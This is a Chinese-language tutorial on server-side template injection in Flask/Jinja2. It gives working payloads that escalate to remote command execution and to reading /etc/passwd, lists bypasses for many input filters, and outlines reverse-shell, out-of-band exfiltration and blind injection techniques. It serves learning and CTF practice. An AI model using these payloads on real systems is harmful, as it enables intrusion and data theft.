web安全-SSTI(服务器端模板注入)
判断模板引擎:
其中绿色箭头
代表内容被执行,回显执行后内容,进行下一步测试
而红色箭头
代表内容没有被执行,回显原内容,进行下一步测试
注:{{7*'7'}}
在Twig中返回49
,在Jinja2中返回77777777
接下来主要从Flask框架中学习SSTI
1.Flask框架(Jinja2引擎)中的SSTI
详解:https://cloud.tencent.com/developer/article/2130787
1.1原理
1 |
|
其中页面回显144,即大括号中的12*12
被执行
若{{ }}
其中内容可控,就造成了SSTI漏洞
但因为沙盒机制严格地限制了程序的行为,某些可以造成危害的语句虽然可以执行,却不会执行成功
对于SSTI的利用,是通过魔术方法,找到各个类之间的继承关系,调用其他类中的函数
类的继承与魔术方法
子类调用父类下的其他子类,所有数据类型的最终父类都是object
魔术方法:
__class__
:查找当前类型所属的对象
__base__
:沿着父子类的关系往上走一个
__mro__
:查找当前类对象的所有继承类
__subclasses__()
:查找父类下所有子类
__init__
:查看类是否重载(重载是指程序在运行时就已经加载好这个模块到内存中),如果出现no wrapper
字眼,说明没有重载
__globals__
:函数会以字典的形式返回当前对象的全局全局变量,寻找可用的方法
1.2利用(流程)
- 找到有SSTI的地方(例如利用
{{7*7}}
判断),先定位到某个类的父类object
{{''.__class__.__base__}}
- 接下来看页面加载了哪些子类
{{''.__class__.__base__.subclasses()}}
找到可以利用的子类及其编号
- 例如在117位有可利用的类
os._wrap_close
,并测试其是否重载后查看这个类中有哪些可用的方法函数
{{''.__class__.__base__.subclasses()[117].__init__.__globals__}}
- 接下来假如此类中有可以RCE的函数(例如
popen
),那么可以直接利用此函数执行命令并进行读取,例如执行ls /
{{''.__class__.__base__.subclasses()[117].__init__.__globals__['popen']('ls /').read()}}
文件读取
查找子类_frozen_importlib_external.FileLoader
的序号(假如是128)
FileLoader 的利用:
1 | {{().__class__.__base__.__subclasses__()[128]['get_data']('/etc/passwd')}}# |
内建函数 eval 执行命令
object 类中加载_frozen_importlib_external.FileLoader
或者其他可行的子类(有很多可用,可以用脚本测试)
1 | {{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /etc/passwd').read()")}} |
注:
__builtins__
提供对 Python 的所有”内置”标志符进行直接访问__import__('os')
加载 os 模块popen()
执行一个 shell 以运行命令来开启一个进程
os 模块执行命令
在其他函数中直接调用 os 模块
- 通过 config
1 | {{config.__class__.__init__.__globals__['os'].popen('whoami').read()}} |
- 通过 url_for
1 | {{url_for.__globals__.os.popen('whoami').read()}} |
- 在已加载 os 模块的子类中直接调用 os 模块
1 | {{''.__class__.__base__.__subclasses__()[128].__init__.__globals__ |
- 其他
1 | {{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}} |
importlib 类命令执行
oject 类中的 importlib 加载第三方库_frozen_importlib.BuiltinImporter
,使用load_module
加载 os
1 | {{[].__class__.__base__.__subclasses__()[107]['load_module']('os') |
其他函数命令执行
- linecache 函数命令执行
linecache 函数可用于读取任何一个文件的某一行,也引入了 os 模块
- subprocess.Popen 类命令执行
subprocess 可以替代 system,popen
1 | {{.__class__.__base__.__subclasses__()[384]('ls',shell=True,stdout=-1).communicate.strip()}}# |
1.3绕过
绕过双大括号过滤
利用{% %}
写入语句,判断是否能够执行
例如:{% if 2>1 %}Hades{%endif%}
网页会回显Hades
- 通过脚本测试哪个子类内有可执行语句(判断是否有回显),其中自行修改url以及data部分的传参名:
1 | import requests |
运行之后脚本回显出可执行的子类序号i
和payload
- 再利用
{%print()%}
回显执行后内容,例如i为117,回显ls /
的内容:
1 | {%print(''.__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("ls /").read())%} |
绕过中括号[]
过滤
利用:__getitem__()
魔术方法
对字典使用时,传入字符串,返回对应字典对应键所对应的值;
对列表使用时,传入整数,返回列表所对应的值;
也就是:[117]
等价于__getitem__(117)
绕过单双引号' "
过滤
利用request模块:request.args.key、request.cookies.key、request.form.key、request.values.x1、request.headers
配合其他点传入参数进行利用,例如(get传参给post数据中的request模块):
1 | POST /xxx.com?popen=popen&cmd=ls / HTTP/1.1 |
绕过下划线_
过滤
- 利用:过滤器
attr()
以及request模块,例如之前的payload改为:
1 | GET提交: |
unicode编码
16位编码
base64编码
格式化字符串:
%c
,%(95)
为下划线
绕过点.
过滤
用[]
代替或者用attr()
(python可以使用[]
访问对象属性)
例如{{''['__class__']['__base__']}}
绕过数字过滤
利用:过滤器length
例如{% set a='aaaaa'|length*'aa'|length-'a'|length %}
的结果是9
绕过关键字过滤
字符编码
简单拼接:
''['__cla'+'ss__']
利用~拼接:
{%set a='__cla'%}{%set b='ss__'%}{{a~b}}
使用过滤器(reverse反转、replace替换、join拼接等):
{% set a="__ssalc__"|reverse%}{{a}}
利用char()
使用dict()|join:
dict(cla=a,ss=a)|join
结果为class
1.4无回显SSTI
反弹shell
利用SSTI执行命令,反弹shell,
提前监听端口,通过脚本多次尝试连接:
1 | import requests |
数据带外注入
提前开启python http监听(python3 -m http.sever 80
),通过脚本多次尝试发送数据(例如将ls /
的内容发送到攻击机):
1 | import requests |
也可以使用dnslog注入
布尔盲注
和sql注入中的同理
利用Flask中的{% if %}Hades{% endif %}
以及read()[1:2],read()[2,3]...
判断每一位的字符是否能回显出Hades
写脚本爆破出执行命令后内容的每一位